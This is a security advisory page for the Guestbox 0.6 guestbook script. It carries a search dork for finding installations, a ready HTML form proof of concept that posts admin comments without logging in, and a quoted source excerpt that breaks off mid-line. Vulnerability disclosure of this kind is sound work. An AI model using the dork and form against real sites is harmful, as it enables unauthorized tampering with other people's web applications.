Guestbox XSS/an admin bypass

Credit: l0om
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

author.: l0om - product: guestbox (latest non-BETA) 0.6 page: dork: "Login - Guestbox 0.6" inurl:guestbox.php someone asked me to check the guestbook named "guestbox" and thats the advisory based on my checks. 1.0 everyone can set admin comments to all entries -------------------------------------------------- in case of setting an admin comment to some gb entry you normaly have to log in as admin. as you can see in the sources down you dont need to be logged in as admin to set an admin comment because the programmer missed it to check the "$admin" value at this point of the switch case. simply create the following html document and post comments as admin: <html> <body> <center> <form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY _NUMBER"> <textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br> <input type="submit" name="submit" value="comment"> </form> </center> </body> </html> ---8<--- source:action.php ---8<--- [...] INCLUDE "gb_config.php"; INCLUDE "gb_functions.php"; switch ($_GET['action']) { case "comment" : if (isset($_POST['submit'])) { // // admin check???? // edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top